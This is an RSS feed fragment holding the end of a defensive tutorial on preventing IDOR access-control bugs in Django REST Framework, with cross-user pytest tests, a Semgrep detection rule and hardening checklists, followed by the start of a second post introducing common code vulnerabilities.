&lt;p&gt;Always pass &lt;code&gt;request&lt;/code&gt; in serializer context. DRF does this automatically when you use &lt;code&gt;get_serializer()&lt;/code&gt; inside a view, but if you instantiate serializers directly (in management commands, signals, or background tasks), you must pass &lt;code&gt;context={"request": request}&lt;/code&gt; manually. When there's no request context at all — background jobs, for example — you need a different mechanism to establish the authorization boundary, typically passing the owner explicitly.&lt;/p&gt;

&lt;p&gt;The same class of bug appears in writable nested serializers. If a &lt;code&gt;LineItem&lt;/code&gt; serializer accepts a nested &lt;code&gt;order&lt;/code&gt; object with an &lt;code&gt;id&lt;/code&gt; field, a user can point that &lt;code&gt;id&lt;/code&gt; at any order. Validate every inbound relation. For more on how this nesting problem scales, the same concepts appear in &lt;a href="https://www.codereviewlab.com/learning/graphql-security" rel="noopener noreferrer"&gt;authorization patterns in GraphQL APIs&lt;/a&gt;, where every resolver is effectively a relation that needs its own ownership check.&lt;/p&gt;

&lt;h2&gt;
  
  
  Test for IDOR with Automated Authorization Checks
&lt;/h2&gt;

&lt;p&gt;The only reliable way to prevent IDOR regressions is to write tests that explicitly attempt cross-user access and assert they fail. Code reviews miss it. Manual QA misses it. Tests that authenticate as user B and try to touch user A's resources catch it every time — if you write them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# tests/test_order_idor.py
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pytest&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;django.contrib.auth&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;get_user_model&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;rest_framework.test&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;APIClient&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;orders.models&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Order&lt;/span&gt;

&lt;span class="n"&gt;User&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_user_model&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nd"&gt;@pytest.fixture&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;alice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;alice&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;testpass123&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# noqa: S106
&lt;/span&gt;
&lt;span class="nd"&gt;@pytest.fixture&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;bob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;bob&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;testpass123&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# noqa: S106
&lt;/span&gt;
&lt;span class="nd"&gt;@pytest.fixture&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;alice_order&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;alice&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Order&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;alice&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;99.99&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@pytest.mark.django_db&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TestOrderIDOR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_client_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;APIClient&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;force_authenticate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_bob_cannot_retrieve_alice_order&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;alice_order&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bob&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="c1"&gt;# 404, not 403 — we don't confirm the resource exists to unauthorized users.
&lt;/span&gt;        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_client_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bob&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/api/orders/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;alice_order&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_bob_cannot_update_alice_order&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;alice_order&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bob&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_client_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bob&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/api/orders/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;alice_order&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;total&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;0.01&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_bob_cannot_delete_alice_order&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;alice_order&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bob&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_client_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bob&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/api/orders/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;alice_order&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_bob_list_does_not_include_alice_order&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;alice_order&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bob&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="c1"&gt;# List endpoint must not leak cross-user data even if IDs are unknown.
&lt;/span&gt;        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_client_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bob&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/api/orders/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
        &lt;span class="n"&gt;ids&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;results&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
        &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;alice_order&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ids&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The list-endpoint test is easy to forget and catches a different bug: &lt;code&gt;get_queryset()&lt;/code&gt; returning everything on &lt;code&gt;list()&lt;/code&gt; but correctly filtering on &lt;code&gt;retrieve()&lt;/code&gt;. Write both.&lt;/p&gt;

&lt;p&gt;Wire these into CI as required checks. A failing IDOR test should block a merge the same way a failing unit test does. This is not optional — the whole point is that a developer adding a new &lt;code&gt;ModelViewSet&lt;/code&gt; in a Friday pull request doesn't ship a data leak to production by Monday.&lt;/p&gt;

&lt;h2&gt;
  
  
  Catch IDOR in Code Review and CI
&lt;/h2&gt;

&lt;p&gt;Human review of pull requests should pattern-match on a short list of high-risk constructs. Any &lt;code&gt;Model.objects.get(pk=...)&lt;/code&gt; or &lt;code&gt;Model.objects.filter(id=...)&lt;/code&gt; call that doesn't chain a user-scoping filter is a candidate IDOR. Any ViewSet missing &lt;code&gt;permission_classes&lt;/code&gt; is an unauthenticated endpoint or is inheriting from a base class that may not have adequate defaults. Any serializer field of type &lt;code&gt;PrimaryKeyRelatedField&lt;/code&gt; with a broad queryset is a potential cross-tenant write.&lt;/p&gt;

&lt;p&gt;Automate this with Semgrep. Here is a rule that flags the most common pattern: a DRF view calling &lt;code&gt;.objects.get()&lt;/code&gt; without an &lt;code&gt;owner&lt;/code&gt; filter anywhere in the same expression:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# semgrep/rules/drf-idor.yml&lt;/span&gt;
&lt;span class="na"&gt;rules&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;drf-unscoped-objects-get&lt;/span&gt;
    &lt;span class="na"&gt;patterns&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pattern&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;$MODEL.objects.get(pk=...)&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pattern-not&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;$MODEL.objects.get(pk=..., owner=...)&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pattern-not&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;$MODEL.objects.get(pk=..., owner__in=...)&lt;/span&gt;
    &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="s"&gt;Unscoped .objects.get(pk=...) in a view — add an owner filter or replace with&lt;/span&gt;
      &lt;span class="s"&gt;a queryset scoped in get_queryset(). Risk: IDOR.&lt;/span&gt;
    &lt;span class="na"&gt;languages&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;python&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;severity&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ERROR&lt;/span&gt;
    &lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;cwe&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;CWE-639&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run this rule in your CI pipeline on every pull request. To &lt;a href="https://www.codereviewlab.com/learning/ci-cd-pipeline-security" rel="noopener noreferrer"&gt;shift IDOR checks left in your CI/CD pipeline&lt;/a&gt;, add it as a required status check alongside your test suite — not a separate "security scan" that developers learn to ignore.&lt;/p&gt;

&lt;p&gt;Code review checklist for IDOR-prone patterns:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ModelViewSet&lt;/code&gt; or &lt;code&gt;GenericAPIView&lt;/code&gt; subclass with no explicit &lt;code&gt;get_queryset&lt;/code&gt; override — check what the default queryset returns.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;permission_classes = []&lt;/code&gt; or a ViewSet that inherits &lt;code&gt;permission_classes&lt;/code&gt; from a base class you don't control.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;PrimaryKeyRelatedField(queryset=Model.objects.all())&lt;/code&gt; in any writable serializer — this gives any user access to the full table.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;perform_create&lt;/code&gt; or &lt;code&gt;perform_update&lt;/code&gt; that doesn't pin the &lt;code&gt;owner&lt;/code&gt; field, leaving it open to user-supplied values.&lt;/li&gt;
&lt;li&gt;Tests that only assert &lt;code&gt;status_code == 200&lt;/code&gt; for the happy path, with no cross-user negative test.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;SAST tools like Semgrep will catch structural patterns; they won't catch logic bugs where the filter is present but uses the wrong field. Code review has to cover that gap. The combination — automated rules catching the obvious omissions, human review focused on logic — is more effective than either alone.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hardening Checklist and Next Steps
&lt;/h2&gt;

&lt;p&gt;The layered controls, in priority order:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Queryset scoping (required):&lt;/strong&gt; &lt;code&gt;get_queryset()&lt;/code&gt; filters by &lt;code&gt;request.user&lt;/code&gt;. No exceptions for convenience. If an admin view needs to return all objects, it lives in a separate ViewSet with explicit admin permission checks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Object-level permissions (required):&lt;/strong&gt; &lt;code&gt;IsOwner&lt;/code&gt; or equivalent &lt;code&gt;BasePermission&lt;/code&gt; with &lt;code&gt;has_object_permission&lt;/code&gt; as a second line of defense. Attach it to every mutating ViewSet.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Serializer-level FK validation (required for relational writes):&lt;/strong&gt; Every &lt;code&gt;PrimaryKeyRelatedField&lt;/code&gt; or nested writable serializer validates that the referenced object belongs to &lt;code&gt;request.user&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;perform_create&lt;/code&gt; owner binding (required):&lt;/strong&gt; Never accept &lt;code&gt;owner&lt;/code&gt; from request data. Always call &lt;code&gt;serializer.save(owner=self.request.user)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Opaque identifiers (defense in depth):&lt;/strong&gt; UUIDs or opaque public IDs in all URLs and serializer output. Still mandatory to have the above controls in place.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Automated cross-user tests (required for CI gates):&lt;/strong&gt; One test class per resource that authenticates as User B and asserts 404 on User A's list, retrieve, update, and delete endpoints.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SAST rules in CI (defense in depth):&lt;/strong&gt; Semgrep rules flagging unscoped &lt;code&gt;.objects.get()&lt;/code&gt; and missing &lt;code&gt;permission_classes&lt;/code&gt;, run as required checks on pull requests.&lt;/p&gt;

&lt;p&gt;These controls address the majority of IDOR patterns in DRF, but authorization bugs extend well beyond the patterns covered here. If you want to build systematic habits around authorization review — across frameworks, auth protocols, and API types — the &lt;a href="https://www.codereviewlab.com/learning/application-security-engineer" rel="noopener noreferrer"&gt;Application Security Engineer learning path&lt;/a&gt; on Code Review Lab covers the full scope, including scenarios more complex than single-tenant ownership checks.&lt;/p&gt;




&lt;p&gt;The part most teams skip is the test suite. You can write perfect queryset scoping today and watch a future contributor add a &lt;code&gt;get_object_or_404(Order, pk=pk)&lt;/code&gt; shortcut that bypasses it entirely. Tests that authenticate as the wrong user and assert 404 are the only automated check that catches that regression. Write them now, gate CI on them, and review them alongside any new ViewSet. If you want a reference for how IDOR shows up in security interviews and assessments, &lt;a href="https://www.codereviewlab.com/learning/cyber-security-analyst-interview-questions" rel="noopener noreferrer"&gt;common IDOR interview questions&lt;/a&gt; are a useful signal for the gaps engineers typically leave in production systems.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further Reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html" rel="noopener noreferrer"&gt;OWASP IDOR Prevention Cheat Sheet&lt;/a&gt; — authoritative guidance on access control patterns across frameworks.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://cwe.mitre.org/data/definitions/639.html" rel="noopener noreferrer"&gt;CWE-639: Authorization Bypass Through User-Controlled Key&lt;/a&gt; — the formal taxonomy entry with real-world consequences and detection guidance.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.django-rest-framework.org/api-guide/permissions/" rel="noopener noreferrer"&gt;Django REST Framework: Permissions&lt;/a&gt; — official DRF docs on &lt;code&gt;has_permission&lt;/code&gt; and &lt;code&gt;has_object_permission&lt;/code&gt;, including &lt;code&gt;check_object_permissions&lt;/code&gt; call semantics.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.codereviewlab.com/learning/application-security-engineer" rel="noopener noreferrer"&gt;Application Security Engineer learning path on Code Review Lab&lt;/a&gt; — structured curriculum for building authorization review skills across multiple API paradigms.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://portswigger.net/web-security/access-control/idor" rel="noopener noreferrer"&gt;PortSwigger Web Security Academy: IDOR&lt;/a&gt; — interactive labs that demonstrate enumeration, parameter tampering, and horizontal privilege escalation in concrete exercises.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>django</category>
      <category>security</category>
      <category>api</category>
      <category>python</category>
    </item>
    <item>
      <title>Spot Security Flaws in Code: Become a Pro</title>
      <dc:creator>Stefan</dc:creator>
      <pubDate>Tue, 21 Apr 2026 12:16:00 +0000</pubDate>
      <link>https://dev.to/securitystefan/spot-security-flaws-in-code-become-a-pro-fkl</link>
      <guid>https://dev.to/securitystefan/spot-security-flaws-in-code-become-a-pro-fkl</guid>
      <description>&lt;h2&gt;
  
  
  Elevate Your Code: Mastering the Art of Spotting Security Flaws in 2026
&lt;/h2&gt;

&lt;p&gt;In today's hyper-connected digital landscape, where a single vulnerability can lead to catastrophic data breaches and financial losses, the ability to identify and mitigate security flaws in code is no longer a niche skill—it's a critical competency for any developer, QA engineer, or cybersecurity professional. With sophisticated cyberattacks becoming increasingly common, the stakes are higher than ever. In 2026, the proactive identification of security weaknesses before they are exploited is paramount. This article delves deep into the strategies, tools, and mindset required to significantly enhance your proficiency in spotting security flaws in code, ensuring the integrity and resilience of your software.&lt;/p&gt;

&lt;p&gt;The sheer volume of code written daily worldwide is staggering. According to recent industry reports, the global developer population is projected to reach over 28.7 million by 2026, each contributing to the ever-expanding digital infrastructure. &lt;a href="https://www.statista.com/statistics/792433/worldwide-developer-population/" rel="noopener noreferrer"&gt;Source: Statista&lt;/a&gt;. Platforms like &lt;a href="https://www.codereviewlab.com/" rel="noopener noreferrer"&gt;Code Review Lab&lt;/a&gt; are becoming essential resources for developers looking to sharpen their eyes against these threats. With this immense output comes an inherent risk: the introduction of subtle, yet potentially devastating, security vulnerabilities. These flaws can range from simple coding errors to complex architectural weaknesses that attackers can exploit to gain unauthorized access, steal sensitive data, or disrupt services.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Foundation: Understanding Common Vulnerabilities
&lt;/h2&gt;

&lt;p&gt;Before you can effectively spot security flaws, you need a solid understanding of what they are and how they manifest. Familiarity with these categories is the first step towards developing a security-conscious mindset.&lt;/p&gt;

&lt;h3&gt;
  
  
  The OWASP Top Ten: A Recurring Threat Landscape
&lt;/h3&gt;

&lt;p&gt;The OWASP Top Ten is a powerful awareness document for web application security. Understanding these categories provides a roadmap for where to focus your attention:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Injection:&lt;/strong&gt; This category includes flaws like SQL injection, NoSQL injection, and Cross-Site Scripting (XSS).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Broken Authentication:&lt;/strong&gt; Flaws in authentication mechanisms allow attackers to compromise passwords or session tokens. Modern applications often rely on complex protocols; understanding &lt;a href="https://www.codereviewlab.com/learning/oauth-security" rel="noopener noreferrer"&gt;OAuth 2 security&lt;/a&gt; is now a fundamental requirement for preventing unauthorized access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sensitive Data Exposure:&lt;/strong&gt; Many applications and APIs do not properly protect sensitive data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Broken Access Control:&lt;/strong&gt; Restrictions on what authenticated users are allowed to do are often not properly enforced.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
